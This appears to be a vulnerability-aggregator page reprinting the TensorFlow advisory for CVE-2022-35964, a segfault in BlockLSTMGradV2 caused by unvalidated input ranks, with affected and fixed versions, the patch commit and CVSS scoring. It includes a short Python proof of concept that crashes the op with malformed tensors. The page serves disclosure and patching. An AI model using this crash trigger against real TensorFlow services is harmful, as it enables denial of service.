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Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-f7r5-q7cx-h668

TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

TensorFlow

CVE-2022-35964 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

  • wci, wcf, wco, b must be rank 1
  • w, cs_prev, h_prev` must be rank 2
  • x must be rank 3

This results in a a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

use_peephole = False

seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)

x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)

cs_grad = tf.constant(0.504355371, shape=[1,1,1],...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact The implementation of `BlockLSTMGradV2` does not fully validate its inputs. - `wci`, `wcf`, `wco`, `b` must be rank 1 - `w`, cs_prev`, `h_prev` must be rank 2 - `x` must be rank 3 This results in a a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole) ``` ### Patches We have patched the issue in GitHub commit [2a458fc4866505be27c62f81474ecb2b870498fa](https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-20
Also known as
BIT-tensorflow-2022-35964, CVE-2022-35964, PYSEC-2026-3170, PYSEC-2026-3318, PYSEC-2026-988

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